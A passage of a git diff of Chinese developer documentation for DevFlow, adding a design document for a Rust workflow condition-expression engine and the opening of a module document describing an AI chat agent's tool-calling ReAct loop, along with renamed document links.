| `02-架构设计/功能决策记录-归档.md` | 纯流水/老 Sprint/UX 微调/已被取代(归档只读) | (不再维护更新) |
|
| `02-架构设计/功能决策记录-归档-2026-06-14.md` | 纯流水/老 Sprint/UX 微调/已被取代(归档只读) | (不再维护更新) |
|
||||||
| `03-模块文档/*.md` | 各 crate 实现细节(单模块内) | 跨模块决策、流水 |
|
| `03-模块文档/*.md` | 各 crate 实现细节(单模块内) | 跨模块决策、流水 |
|
||||||
| `04-功能迭代/DEVFLOW-N.*.md` | 功能开发过程记录(一次性,开发期) | 持续维护的决策 |
|
| `04-功能迭代/DEVFLOW-N.*.md` | 功能开发过程记录(一次性,开发期) | 持续维护的决策 |
|
||||||
| `05-代码审查/*.md` | 审查报告与发现 | (若成决策 → 转记功能决策记录) |
|
| `05-代码审查/*.md` | 审查报告与发现 | (若成决策 → 转记功能决策记录) |
|
||||||
@@ -43,14 +43,14 @@
|
|||||||
| 你要记的内容 | 主文档(优先写) | 按需交叉引用 |
|
| 你要记的内容 | 主文档(优先写) | 按需交叉引用 |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| 本 Sprint 做了啥 / 遗留 | `PROGRESS.md` | `04-功能迭代/`(详过程) |
|
| 本 Sprint 做了啥 / 遗留 | `PROGRESS.md` | `04-功能迭代/`(详过程) |
|
||||||
| 为什么这么实现(选 A 不选 B) | `功能决策记录.md` | 模块文档、PROGRESS |
|
| 为什么这么实现(选 A 不选 B) | `功能决策记录-2026-06-14.md` | 模块文档、PROGRESS |
|
||||||
| 踩坑 / 约定 / 技巧 / bug 排查教训 | `经验记录.md` | 功能决策记录 |
|
| 踩坑 / 约定 / 技巧 / bug 排查教训 | `经验记录-2026-06-14.md` | 功能决策记录 |
|
||||||
| 架构级选型 | `Phase1架构决策.md` / `ARCHITECTURE.md` | — |
|
| 架构级选型 | `Phase1架构决策-2026-06-12.md` / `ARCHITECTURE.md` | — |
|
||||||
| 新需求 / 待办 / 功能规格 | `功能决策记录.md`(需求维度) | `Phase2计划.md` |
|
| 新需求 / 待办 / 功能规格 | `功能决策记录-2026-06-14.md`(需求维度) | `Phase2计划-2026-06-12.md` |
|
||||||
| 对话中需求澄清(原以为 X 实为 Y) | `功能决策记录.md`(需求澄清) | — |
|
| 对话中需求澄清(原以为 X 实为 Y) | `功能决策记录-2026-06-14.md`(需求澄清) | — |
|
||||||
| 老 Sprint 决策 / UX 微调 / 已被取代 | `功能决策记录-归档.md` | (归档只读,不再维护) |
|
| 老 Sprint 决策 / UX 微调 / 已被取代 | `功能决策记录-归档-2026-06-14.md` | (归档只读,不再维护) |
|
||||||
| 单模块实现细节 | `03-模块文档/<对应>.md` | — |
|
| 单模块实现细节 | `03-模块文档/<对应>.md` | — |
|
||||||
| 代码审查发现 | `05-代码审查/` | 转决策 → `功能决策记录.md` |
|
| 代码审查发现 | `05-代码审查/` | 转决策 → `功能决策记录-2026-06-14.md` |
|
||||||
| 前端规范变更 | `06-前端开发/` | — |
|
| 前端规范变更 | `06-前端开发/` | — |
|
||||||
| 用户操作说明 | `08-用户指南/` | — |
|
| 用户操作说明 | `08-用户指南/` | — |
|
||||||
|
|
||||||
@@ -63,7 +63,7 @@
|
|||||||
3. **引用处加交叉链接**,不抄正文
|
3. **引用处加交叉链接**,不抄正文
|
||||||
|
|
||||||
**例**:做了「shouldKeepOpen 折叠」
|
**例**:做了「shouldKeepOpen 折叠」
|
||||||
- 真相源:`功能决策记录.md` 写决策 / 原因 / 状态 ✅
|
- 真相源:`功能决策记录-2026-06-14.md` 写决策 / 原因 / 状态 ✅
|
||||||
- 流水:`PROGRESS.md` 记「审查①已落地」+ 链接到功能决策记录
|
- 流水:`PROGRESS.md` 记「审查①已落地」+ 链接到功能决策记录
|
||||||
- **不**在模块文档 / ARCHITECTURE 重复抄决策正文
|
- **不**在模块文档 / ARCHITECTURE 重复抄决策正文
|
||||||
|
|
||||||
@@ -92,7 +92,7 @@
|
|||||||
|
|
||||||
**3. 配合交接文档(PROGRESS)**
|
**3. 配合交接文档(PROGRESS)**
|
||||||
- PROGRESS 是**交接文档**,只记「做了啥 + 链接」,不展开决策/需求正文
|
- PROGRESS 是**交接文档**,只记「做了啥 + 链接」,不展开决策/需求正文
|
||||||
- 决策正文 → `功能决策记录.md`;需求 → `功能决策记录` 的「需求与待办」
|
- 决策正文 → `功能决策记录-2026-06-14.md`;需求 → `功能决策记录` 的「需求与待办」
|
||||||
- 交接路径:读 PROGRESS 知进度 → 读 `功能决策记录` 知「为什么 + 要做什么」→ 读模块文档知「怎么实现」
|
- 交接路径:读 PROGRESS 知进度 → 读 `功能决策记录` 知「为什么 + 要做什么」→ 读模块文档知「怎么实现」
|
||||||
|
|
||||||
**4. 定期唯一性扫描(防积累散乱)**
|
**4. 定期唯一性扫描(防积累散乱)**
|
||||||
@@ -115,7 +115,7 @@
|
|||||||
|
|
||||||
`decision-record` skill 触发时,按本规范路由:
|
`decision-record` skill 触发时,按本规范路由:
|
||||||
|
|
||||||
- **决策 / 需求** → `功能决策记录.md`(主,真相源)
|
- **决策 / 需求** → `功能决策记录-2026-06-14.md`(主,真相源)
|
||||||
- skill 执行后 → `PROGRESS.md` 加一笔流水 + 链接(可选,重大决策才加)
|
- skill 执行后 → `PROGRESS.md` 加一笔流水 + 链接(可选,重大决策才加)
|
||||||
|
|
||||||
Stop hook 触发 skill 时同理,不另立记录位置。
|
Stop hook 触发 skill 时同理,不另立记录位置。
|
||||||
@@ -161,7 +161,7 @@ Stop hook 触发 skill 时同理,不另立记录位置。
|
|||||||
|
|
||||||
**相关文档**:
|
**相关文档**:
|
||||||
- `docs/INDEX.md` — 文档导航
|
- `docs/INDEX.md` — 文档导航
|
||||||
- `docs/02-架构设计/功能决策记录.md` — 需求规格 + 设计决策规格(本规范的主要应用对象)
|
- `docs/02-架构设计/功能决策记录-2026-06-14.md` — 需求规格 + 设计决策规格(本规范的主要应用对象)
|
||||||
- `docs/02-架构设计/经验记录.md` — 踩坑/约定/技巧/bug 排查教训
|
- `docs/02-架构设计/经验记录-2026-06-14.md` — 踩坑/约定/技巧/bug 排查教训
|
||||||
- `docs/02-架构设计/功能决策记录-归档.md` — 归档只读(纯流水/老 Sprint/UX 微调)
|
- `docs/02-架构设计/功能决策记录-归档-2026-06-14.md` — 归档只读(纯流水/老 Sprint/UX 微调)
|
||||||
- `PROGRESS.md` — 工作流水
|
- `PROGRESS.md` — 工作流水
|
||||||
|
|||||||
256
docs/02-架构设计/条件表达式引擎-2026-06-15.md
Normal file
256
docs/02-架构设计/条件表达式引擎-2026-06-15.md
Normal file
@@ -0,0 +1,256 @@
|
|||||||
|
# 条件表达式引擎设计(R-PD-3 / T-260614-11)
|
||||||
|
|
||||||
|
> 来源:全局代码 review `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 需设计 R-PD-3 + 架构洞察第 4 条
|
||||||
|
> 性质:设计文档(供用户核对方案),不含实现
|
||||||
|
> 关联:todo `T-260614-11 条件表达式引擎升级`、R-P2-13(set_skipped/set_waiting 已删)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、现状
|
||||||
|
|
||||||
|
### 1.1 ConditionEngine 从未被接线
|
||||||
|
|
||||||
|
`crates/df-workflow/src/conditions.rs:8` 定义了 `ConditionEngine::evaluate(expr, context) -> Result<bool>`,全仓 grep 确认:**除自身定义与单元测试外,零调用**。executor 从不调它,build_dag 只把 `EdgeDef.condition` 原样写入 runtime `Edge.condition`(`registry.rs:62-69`),写入后无人消费。
|
||||||
|
|
||||||
|
### 1.2 executor 不区分条件边,无条件灌入前驱输出
|
||||||
|
|
||||||
|
`executor.rs:62-97` 构建 `adjacency_in: target → Vec<source>` 时丢掉 `edge.condition`,只保留 source/target;随后 inputs 收集处(`executor.rs:91-97`):
|
||||||
|
|
||||||
|
```rust
|
||||||
|
let mut inputs = HashMap::new();
|
||||||
|
if let Some(preds) = adjacency_in.get(node_id) {
|
||||||
|
for pred_id in preds {
|
||||||
|
if let Some(out) = outputs.get(pred_id) {
|
||||||
|
inputs.insert(pred_id.clone(), out.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
逐前驱无条件灌入。条件边与普通边行为完全相同。
|
||||||
|
|
||||||
|
### 1.3 topological_layers 把条件边计入入度
|
||||||
|
|
||||||
|
`dag.rs:81-90` 单次遍历边构建入度表,**不检查 `edge.condition`**。条件边 target 的入度照常 +1,BFS 分层照常把它放入某层。
|
||||||
|
|
||||||
|
### 1.4 复现:`add_edge_with_condition("a","c","false")` 实际 c 永远执行
|
||||||
|
|
||||||
|
构造 a → c(condition="false")的 DAG:
|
||||||
|
|
||||||
|
- `topological_layers`:a 入度 0,c 入度 1;分层为 `[[a],[c]]`
|
||||||
|
- 第 0 层执行 a,输出存入 `outputs["a"]`
|
||||||
|
- 第 1 层执行 c:`adjacency_in["c"] = ["a"]`,`outputs["a"]` 存在 → `inputs = {"a": <a 的输出>}`,c 照常 `execute`
|
||||||
|
- `ConditionEngine::evaluate("false", ...)` 本应返 `Ok(false)`,但**从无调用点**
|
||||||
|
|
||||||
|
即条件分支这一 DAG 核心能力整体失效,且对用户静默——前端编了条件边,运行结果与无条件等价,没有任何报错或告警。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、根因
|
||||||
|
|
||||||
|
三个缺口叠加:
|
||||||
|
|
||||||
|
| 缺口 | 位置 | 表现 |
|
||||||
|
|------|------|------|
|
||||||
|
| ① expressions 仅 true/false 字面量 | `conditions.rs:16-33` | TODO 列了 JSON Path / 比较 / contains / and-or-not,全未实现;只认 `"true"`/`"false"` 两字面量 |
|
||||||
|
| ② executor 无 evaluate 调用 | `executor.rs:91-97` | inputs 收集不读 `edge.condition`,条件边与普通边行为相同 |
|
||||||
|
| ③ topological_layers 计入条件边入度 | `dag.rs:81-90` | 条件边 target 的入度照常 +1,BFS 照常分层调度 |
|
||||||
|
|
||||||
|
review 第 49 行给的修复方向("executor inputs 收集处用 ConditionEngine.evaluate 过滤;topological_layers 前过滤无效边或执行时按条件短路 target 为 Skipped")指向 ②③,本文档补全 ①(表达式能力)与 ③ 短路后的终态机制(**set_skipped 已删**,需设计替代,见 §五)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、表达式引擎方案
|
||||||
|
|
||||||
|
### 3.1 现状能力
|
||||||
|
|
||||||
|
`ConditionEngine::evaluate` 当前支持:
|
||||||
|
|
||||||
|
- `"true"` / `"false"` 字面量(区分大小写,先 `trim()` 去首尾空白)
|
||||||
|
- 其余一律 `Ok(false)` + warn(保守拒绝,B-260614-02 已修,默认 true→false)
|
||||||
|
|
||||||
|
### 3.2 支持范围(目标语法)
|
||||||
|
|
||||||
|
工作流条件边的实际诉求是"据前驱节点输出决定下游是否执行"。最小可用集:
|
||||||
|
|
||||||
|
| 语法 | 示例 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| 字面量 | `true` / `false` | 已有,保留 |
|
||||||
|
| 前驱输出访问 | `pred.output.status == 'completed'` | `pred` 为前驱节点 id,`output` 为其 `NodeOutput` 序列化后字段;多前驱时需指定哪个前驱 |
|
||||||
|
| 比较 | `==` `!=` `>` `>=` `<` `<=` | 字符串等值 + 数值大小 |
|
||||||
|
| 包含 | `pred.output.tags contains 'ai'` | 数组包含 / 字符串子串 |
|
||||||
|
| 逻辑组合 | `and` `or` `not` | 括号分组 |
|
||||||
|
| 真值判断 | `pred.output.flag` | 布尔字段直接判真(无比较运算符) |
|
||||||
|
|
||||||
|
`context: &Value` 入参签名已就位(当前 `_context` 未用)。扩展时把当前节点所有前驱输出按 `{ "<pred_id>": <NodeOutput serde> }` 拼成 context 传入即可。
|
||||||
|
|
||||||
|
### 3.3 引第三方 expr 库 vs 手写最小求值器
|
||||||
|
|
||||||
|
| 方案 | 优点 | 缺点 |
|
||||||
|
|------|------|------|
|
||||||
|
| **第三方 `evalexpr`** | 成熟、支持算术/逻辑/函数/变量;API 简单(`eval_with_context`);MIT;crates.io 下载量稳定 | 新增依赖(df-workflow 当前 0 expr 库,workspace 也无);语义需对齐(其变量访问语法 `$var` vs 我们要的 `pred.output.x` 点路径);引入超出条件边需求的算术/函数能力,扩大攻击面(前端可构造任意表达式) |
|
||||||
|
| **第三方 `jsonpath_lib` + 自写比较** | JSON Path 标准成熟,路径表达力强 | 仍需自写比较/逻辑层;两套语法拼装复杂度高于纯手写 |
|
||||||
|
| **手写最小递归下降求值器** | 零新依赖;语法完全自定(直接支持 `pred.output.x`);能力边界可控(拒绝算术/函数,只留比较+逻辑+包含);~150 行可覆盖 §3.2 全部语法 | 自负维护(但语法面小,测试可固化)|
|
||||||
|
|
||||||
|
**取舍(推荐):手写最小求值器**。
|
||||||
|
|
||||||
|
理由:
|
||||||
|
1. 条件边诉求面窄(比较 + 逻辑 + 包含 + 前驱输出访问),不需要通用表达式语言的算术/函数能力。
|
||||||
|
2. 前端可构造任意条件表达式(run_workflow IPC 接 DagDef),手写小语法面比引通用 expr 库的攻击面更可控——通用 expr 库默认支持函数调用/算术,需额外配置禁用。
|
||||||
|
3. df-workflow 当前是零外部表达式依赖的薄 crate,引入 `evalexpr` 对一个"条件分支"单一能力偏重。
|
||||||
|
4. 若后续诉求扩张(如需要正则/数学函数),再评估切换第三方库,届时手写求值器的测试可作迁移回归基准。
|
||||||
|
|
||||||
|
> **决策点 A(需用户确认)**:表达式引擎走手写最小求值器,还是引 `evalexpr`?本文档默认推荐手写。若用户倾向引库,§五的接线方案不变,仅 §三的"实现"段替换。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、接线方案
|
||||||
|
|
||||||
|
review 给了两种短路粒度,本文档详析:
|
||||||
|
|
||||||
|
### 4.1 方案一:数据流过滤(Phase1)
|
||||||
|
|
||||||
|
**改动点**:executor inputs 收集处(`executor.rs:91-97`)。
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// 伪码
|
||||||
|
let mut inputs = HashMap::new();
|
||||||
|
if let Some(preds_with_cond) = adjacency_in.get(node_id) {
|
||||||
|
for (pred_id, cond_opt) in preds_with_cond {
|
||||||
|
if let Some(out) = outputs.get(pred_id) {
|
||||||
|
// 边有条件 → 求值;条件 false 则不灌入此条边的数据
|
||||||
|
if let Some(cond) = cond_opt {
|
||||||
|
let ctx = json!({ pred_id: out }); // 单前驱上下文
|
||||||
|
match ConditionEngine::evaluate(cond, &ctx) {
|
||||||
|
Ok(true) => { inputs.insert(pred_id.clone(), out.clone()); }
|
||||||
|
Ok(false) => { /* 跳过此边,不灌入 */ }
|
||||||
|
Err(e) => { /* 求值失败兜底,见 §六 */ }
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
inputs.insert(pred_id.clone(), out.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
需配套:`adjacency_in` 的 value 从 `Vec<NodeId>` 改为 `Vec<(NodeId, Option<String>)>`,携带 `edge.condition`(构建处 `executor.rs:62-68` 同步改)。
|
||||||
|
|
||||||
|
**语义**:target **照常执行**,只是某些前驱的数据不灌入。适合"多前驱汇聚、按条件选择部分输入"的场景。
|
||||||
|
|
||||||
|
**局限**:target 仍被执行。若用户意图是"a 条件不满足时 c 整个不跑"(单条件边、target 唯一前驱),数据流过滤做不到——target 会以空 inputs 执行,语义错位。
|
||||||
|
|
||||||
|
### 4.2 方案二:调度短路(Phase2)
|
||||||
|
|
||||||
|
**改动点**:层调度处(`executor.rs:70-119` 的 for 循环)。
|
||||||
|
|
||||||
|
执行某层前,对层内每个 target 检查:若**所有入边**条件求值均为 false(或其唯一条件边为 false),则 target 标记"条件跳过"终态、不进入 `node_futures`、不发 NodeStarted。
|
||||||
|
|
||||||
|
**关键约束:set_skipped 已删**。R-P2-13 删了 `set_waiting/set_skipped`(全仓零调用,误导状态机认知),保留 `set_cancelled` 作"唯一受控旁路"。`NodeStatus::Skipped` 枚举值仍在(`types.rs:243`,`as_str` 能输出 `"skipped"`),但**无 setter**。调度短路需要一个"条件不满足、target 不执行"的终态,必须解决这个缺口。
|
||||||
|
|
||||||
|
### 4.3 两种短路粒度对比
|
||||||
|
|
||||||
|
| 维度 | 方案一 数据流过滤 | 方案二 调度短路 |
|
||||||
|
|------|------------------|----------------|
|
||||||
|
| target 是否执行 | 执行(部分输入被过滤) | 不执行(直接跳过) |
|
||||||
|
| 适用场景 | 多前驱汇聚、按条件选输入 | 单条件边、条件不满足则 target 整个不跑 |
|
||||||
|
| 用户意图匹配 | 部分 | 完整(用户编条件边的典型意图) |
|
||||||
|
| 终态机制 | 不需要(target 走 Completed) | **需要新终态**(set_skipped 已删,见 §五) |
|
||||||
|
| 改动面 | inputs 收集 + adjacency_in 携带 condition | 层调度 + 终态机制 + 事件(NodeSkipped?) |
|
||||||
|
| 风险 | 低(数据流层面,不影响调度) | 中(动调度循环 + 状态机) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、推荐分阶段
|
||||||
|
|
||||||
|
**Phase1(数据流过滤,先打通)**:
|
||||||
|
|
||||||
|
- 范围:§四.1,仅 inputs 收集处接线 ConditionEngine。
|
||||||
|
- 效果:多前驱汇聚场景立即可用;单条件边场景 target 仍执行(空 inputs),需文档标注"Phase1 已知局限"。
|
||||||
|
- 改动面小、零终态机制冲突、可独立 ship。
|
||||||
|
|
||||||
|
**Phase2(调度短路,补完整语义)**:
|
||||||
|
|
||||||
|
- 范围:§四.2,层调度处短路 target。
|
||||||
|
- **前置:解决 set_skipped 删除后的终态机制**——见下。
|
||||||
|
|
||||||
|
### 5.1 set_skipped 删除后的短路机制设计(Phase2 前置)
|
||||||
|
|
||||||
|
R-P2-13 删 `set_skipped/set_waiting` 时,"条件跳过"这一用例尚未接线(ConditionEngine 从未调用,无消费方),删除合理。现在 Phase2 要用"条件跳过"终态,三个选项:
|
||||||
|
|
||||||
|
| 选项 | 做法 | 取舍 |
|
||||||
|
|------|------|------|
|
||||||
|
| **A. 复活 set_skipped 旁路** | `state.rs` 加回 `set_skipped`,与 `set_cancelled` 同型(不经 transition 校验,直接置 `NodeStatus::Skipped`),注释说明"条件跳过专用,区别于 set_cancelled 的人工取消语义" | 最直接;但与 R-P2-13 删除动机("全仓零调用、误导状态机认知")冲突——需明确这是新用例落地后的复活,非反复 |
|
||||||
|
| **B. 复用 set_cancelled** | 条件短路也走 `set_cancelled`,target 终态为 Cancelled | 语义污染:Cancelled 现专指"人工审批取消",条件跳过混入会让 `is_cancelled` 判断与前端"取消"语义混乱。**不推荐** |
|
||||||
|
| **C. 走 transition 合法转换** | 扩 `is_legal` 加 `(Running, Skipped)`,调度短路前先 `set_running` 再 `transition(Skipped)` | 走正门最干净,但需 target 先进 Running 再转 Skipped(两步),且 NodeStarted 已发→语义噪声(节点"启动后立即跳过")。或扩 `(Pending, Skipped)` 直接转换,但破坏"Pending 必经 Running"的不变量 |
|
||||||
|
|
||||||
|
**推荐 A**:复活 `set_skipped` 旁路,注释明确区分两种"非正常终态"语义:
|
||||||
|
|
||||||
|
- `set_cancelled`:人工审批取消(外部 IPC 触发,节点可能已 Running)
|
||||||
|
- `set_skipped`:条件分支跳过(调度层求值条件为 false,target 从未进入 Running)
|
||||||
|
|
||||||
|
两者均不经 transition 校验(条件短路时 target 在 Pending 态,`Pending→Skipped` 走 transition 会被 `is_legal` 拒,与 `set_cancelled` 同理需旁路)。
|
||||||
|
|
||||||
|
> **决策点 B(需用户确认)**:Phase2 的条件跳过终态走选项 A(复活 set_skipped 旁路)?本文档默认推荐 A。若用户倾向 C(扩 transition 合法转换),需同步评估 NodeStarted/NodeSkipped 事件序列与"Pending 必经 Running"不变量的取舍。
|
||||||
|
|
||||||
|
### 5.2 Phase2 配套事件
|
||||||
|
|
||||||
|
`df-core/events::WorkflowEvent` 当前有 NodeStarted/NodeCompleted/NodeFailed。Phase2 条件短路需补 `NodeSkipped { node_id, reason }`(reason = 哪条边的条件为 false + 表达式),前端可据 reason 渲染"跳过原因",闭环"对用户非静默"(R-PD-3 原诉求)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、改动面 + 风险
|
||||||
|
|
||||||
|
### 6.1 改动面(行号基于当前 HEAD)
|
||||||
|
|
||||||
|
| Phase | 文件:行 | 改动 |
|
||||||
|
|-------|---------|------|
|
||||||
|
| 1 | `crates/df-workflow/src/conditions.rs:16-33` | evaluate 扩展为手写最小求值器(§三.3)|
|
||||||
|
| 1 | `crates/df-workflow/src/executor.rs:62-68` | `adjacency_in` value 改 `Vec<(NodeId, Option<String>)>`,携带 condition |
|
||||||
|
| 1 | `crates/df-workflow/src/executor.rs:91-97` | inputs 收集处调 `ConditionEngine.evaluate`,false 不灌入 |
|
||||||
|
| 2 | `crates/df-workflow/src/executor.rs:70-119` | 层调度前求值各 target 入边条件,全 false 则短路 |
|
||||||
|
| 2 | `crates/df-workflow/src/state.rs` | 复活 `set_skipped` 旁路(选项 A)|
|
||||||
|
| 2 | `crates/df-core/src/events.rs` | 加 `WorkflowEvent::NodeSkipped` |
|
||||||
|
| 2 | `crates/df-workflow/src/executor.rs` | 短路时发 NodeSkipped + set_skipped,不进 node_futures |
|
||||||
|
|
||||||
|
### 6.2 风险
|
||||||
|
|
||||||
|
**R1:多前驱 context 拼装**。§四.1 伪码用 `json!({ pred_id: out })` 单前驱上下文。多前驱汇聚时,条件表达式需访问哪个前驱?两种设计:
|
||||||
|
- (a) 表达式内显式写前驱 id:`a.output.status == 'ok'`——context 拼成所有前驱 `{ "a":..., "b":... }`,求值器按 `a.output.x` 路径取值
|
||||||
|
- (b) target 的所有入边条件独立求值,各用单前驱上下文——不支持"跨前驱联合判断"
|
||||||
|
|
||||||
|
推荐 (a),context 拼全前驱,求值器路径访问。`pred.output.xxx` 在 review 第 49 行已示意。
|
||||||
|
|
||||||
|
**R2:条件求值失败的兜底**。求值出错(语法错 / 路径不存在 / 类型不匹配)时返 `Err`,executor 怎么处理?
|
||||||
|
|
||||||
|
| 选项 | 语义 | 取舍 |
|
||||||
|
|------|------|------|
|
||||||
|
| **默认 true** | 求值失败 = 放行 | 与 ConditionEngine 当前的"未识别默认 false"(B-260614-02)相反,破坏保守拒绝原则。**不推荐** |
|
||||||
|
| **默认 false** | 求值失败 = 拒绝(条件边不灌入 / target 跳过)| 与 B-260614-02 的保守拒绝一致;但用户表达式写错时 target 静默不跑,需配套告警 |
|
||||||
|
| **报错中止工作流** | 求值失败 = 工作流 Failed | 最显式,但单个条件边语法错炸整条工作流,可能过激 |
|
||||||
|
|
||||||
|
**推荐:默认 false + warn 日志 + Phase2 的 NodeSkipped.reason 透出表达式**。条件边本质是"用户声明的过滤规则",规则写错应保守拒绝(不执行)而非放行,与现有保守拒绝原则对齐;非静默靠 warn + reason 闭环。区别于 B-260614-02 的"引擎未实现"(那是 TODO 完全未做),这里是"用户表达式语法错"——两者都走 false,但 warn 文案区分。
|
||||||
|
|
||||||
|
> **决策点 C(需用户确认)**:条件求值失败兜底走"默认 false + warn"(推荐)还是"报错中止工作流"?
|
||||||
|
|
||||||
|
**R3:topological_layers 计入条件边入度的交互**。Phase1 数据流过滤不动 topological_layers,条件边仍计入入度、target 仍分层调度——这与"条件边语义"不冲突(Phase1 只过滤数据,不拦调度)。Phase2 调度短路有两种实现路径:
|
||||||
|
- (a) topological_layers 内部按条件过滤无效边(需把前驱输出传进 topological_layers,但分层时前驱尚未执行,条件无法求值)——**不可行**,条件依赖运行时输出
|
||||||
|
- (b) 分层照常(含条件边入度),执行时层调度前求值条件短路 target——**可行**,条件求值发生在前驱已完成、target 将执行的边界
|
||||||
|
|
||||||
|
推荐 (b)。topological_layers 保持纯结构(不掺运行时),条件求值在 executor 调度边界。
|
||||||
|
|
||||||
|
**R4:循环依赖风险**。条件边若构成 target 的所有入边均条件 false,target 永不执行。这是用户 DAG 的逻辑,引擎照常短路即可,不需特殊处理(与"用户写了死代码节点"同类)。
|
||||||
|
|
||||||
|
**R5:与 R-PD-2(ScriptNode 任意 shell)的边界**。条件表达式本身不经 shell,纯内存求值,无 R-PD-2 的 shell 注入面。但若 Phase2 引第三方 expr 库(§三.3 若用户改选 evalexpr),其函数调用能力需配置禁用(前端可构造任意表达式)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 七、待用户确认的决策点
|
||||||
|
|
||||||
|
| # | 决策 | 推荐 | 备选 |
|
||||||
|
|---|------|------|------|
|
||||||
|
| A | 表达式引擎实现 | 手写最小求值器(零依赖、语法可控)| 引 `evalexpr`(成熟、能力全、攻击面大)|
|
||||||
|
| B | Phase2 条件跳过终态机制 | 复活 `set_skipped` 旁路(与 `set_cancelled` 同型,语义区分)| 扩 `is_legal` 走 transition 正门(破坏 Pending→Running 不变量)|
|
||||||
|
| C | 条件求值失败兜底 | 默认 false + warn + NodeSkipped.reason 透出 | 报错中止整条工作流 |
|
||||||
|
|
||||||
|
确认后即可按 §五分阶段推进:Phase1(数据流过滤)独立可 ship,Phase2(调度短路 + 终态机制)依赖决策点 B。
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
# 经验记录
|
# 经验记录
|
||||||
|
|
||||||
> DevFlow 开发中沉淀的**经验性内容**——踩坑、约定、技巧、bug 排查教训。聚焦「这个坑怎么踩的 / 这个约定为什么这么定 / 这个 bug 怎么定位的」,区别于 [功能决策记录](./功能决策记录.md)(记需求规格 + 设计决策规格)。
|
> DevFlow 开发中沉淀的**经验性内容**——踩坑、约定、技巧、bug 排查教训。聚焦「这个坑怎么踩的 / 这个约定为什么这么定 / 这个 bug 怎么定位的」,区别于 [功能决策记录](./功能决策记录-2026-06-14.md)(记需求规格 + 设计决策规格)。
|
||||||
>
|
>
|
||||||
> 创建:2026-06-14(从功能决策记录.md 分流出经验性条目) | 维护:随开发追加
|
> 创建:2026-06-14(从功能决策记录-2026-06-14.md 分流出经验性条目) | 维护:随开发追加
|
||||||
|
|
||||||
## 约定
|
## 约定
|
||||||
|
|
||||||
@@ -136,5 +136,5 @@
|
|||||||
---
|
---
|
||||||
|
|
||||||
**相关文档**:
|
**相关文档**:
|
||||||
- [功能决策记录](./功能决策记录.md) — 需求规格 + 设计决策规格
|
- [功能决策记录](./功能决策记录-2026-06-14.md) — 需求规格 + 设计决策规格
|
||||||
- [功能决策记录-归档](./功能决策记录-归档.md) — 纯流水 / 老 Sprint / UX 微调 / 已被取代
|
- [功能决策记录-归档](./功能决策记录-归档-2026-06-14.md) — 纯流水 / 老 Sprint / UX 微调 / 已被取代
|
||||||
|
|||||||
312
docs/03-模块文档/AI对话引擎-2026-06-14.md
Normal file
312
docs/03-模块文档/AI对话引擎-2026-06-14.md
Normal file
@@ -0,0 +1,312 @@
|
|||||||
|
# AI 对话引擎(Agentic Loop)
|
||||||
|
|
||||||
|
> 创建:2026-06-14 | 来源:基于 `src-tauri/src/commands/ai/` 实际代码核对编写
|
||||||
|
> 关联模块文档:[df-ai-AI集成模块](./df-ai-AI集成模块-2026-06-12.md)(crate 层:Provider / ContextManager / 工具基础设施)
|
||||||
|
> 关联架构文档:[Agent架构说明-2026-06-14.md](../02-架构设计/Agent架构说明-2026-06-14.md)(能力边界盘点)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、概述
|
||||||
|
|
||||||
|
DevFlow 的 AI 对话不是简单的"发消息→收回复",而是一个 **ReAct 循环**(Reason + Act):LLM 流式回复 → 调用工具 → 执行工具 → 结果回传 LLM → 循环,直到 LLM 不再需要工具(返回纯文本)或达到最大轮次。
|
||||||
|
|
||||||
|
核心代码位于 `src-tauri/src/commands/ai/`,11 个子模块协作:
|
||||||
|
|
||||||
|
```
|
||||||
|
commands/ai/
|
||||||
|
├── mod.rs — 模块入口 + glob 重导出 + AiSession 定义
|
||||||
|
├── commands.rs — 17 个 IPC 命令(send/approve/reject/clear/switch…)
|
||||||
|
├── agentic.rs — ReAct 循环主体(run_agentic_loop / try_continue_agent_loop)
|
||||||
|
├── stream_recv.rs — 流式接收(idle timeout / 断连检测 / 停止信号)
|
||||||
|
├── conversation.rs — 持久化 + Token 累加器 + 截断函数
|
||||||
|
├── audit.rs — 工具执行审计(process_tool_calls / audit_finalize / build_approval_reason)
|
||||||
|
├── tool_registry.rs — 12 个 AI 工具注册 + 路径校验
|
||||||
|
├── prompt.rs — system prompt 构建 + provider 获取
|
||||||
|
├── skills.rs — 技能联想(SKILL.md frontmatter 解析)
|
||||||
|
├── title.rs — 对话标题自动生成
|
||||||
|
└── knowledge_inject.rs — 知识注入 + 知识提炼
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、ReAct 循环详解
|
||||||
|
|
||||||
|
### 核心流程
|
||||||
|
|
||||||
|
```
|
||||||
|
用户发消息
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌─ for iteration in 0..MAX_AGENT_ITERATIONS(10) ──────────────┐
|
||||||
|
│ │
|
||||||
|
│ 1. 用户停止? → 收尾退出 │
|
||||||
|
│ │
|
||||||
|
│ 2. 构建请求消息 │
|
||||||
|
│ ├─ system prompt(技能 + 知识注入) │
|
||||||
|
│ ├─ 历史消息(超预算时裁剪,保护工具三元组 + 最近 6 条) │
|
||||||
|
│ └─ 工具定义(12 个内置工具) │
|
||||||
|
│ │
|
||||||
|
│ 3. LLM 并发限流(全局 3 / 单对话 2 双层 Semaphore) │
|
||||||
|
│ │
|
||||||
|
│ 4. stream_llm(流式接收) │
|
||||||
|
│ ├─ 逐 chunk 推送 AiTextDelta 到前端 │
|
||||||
|
│ ├─ 累积 tool_calls(按 index 排序) │
|
||||||
|
